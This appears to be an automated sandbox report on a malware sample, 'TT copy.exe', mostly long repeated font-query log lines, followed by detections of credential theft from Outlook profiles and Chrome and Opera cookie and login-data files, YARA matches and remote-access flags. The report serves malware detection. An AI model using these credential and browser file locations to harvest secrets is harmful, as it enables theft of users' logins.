Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\TT copy.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to steal Mail credentials (via file / registry access)

Source: Yara match	File source: 3.0.TT copy.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TT copy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TT copy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data	Jump to behavior

Remote Access Functionality

Source: Yara match	File source: 3.0.TT copy.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TT copy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TT copy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
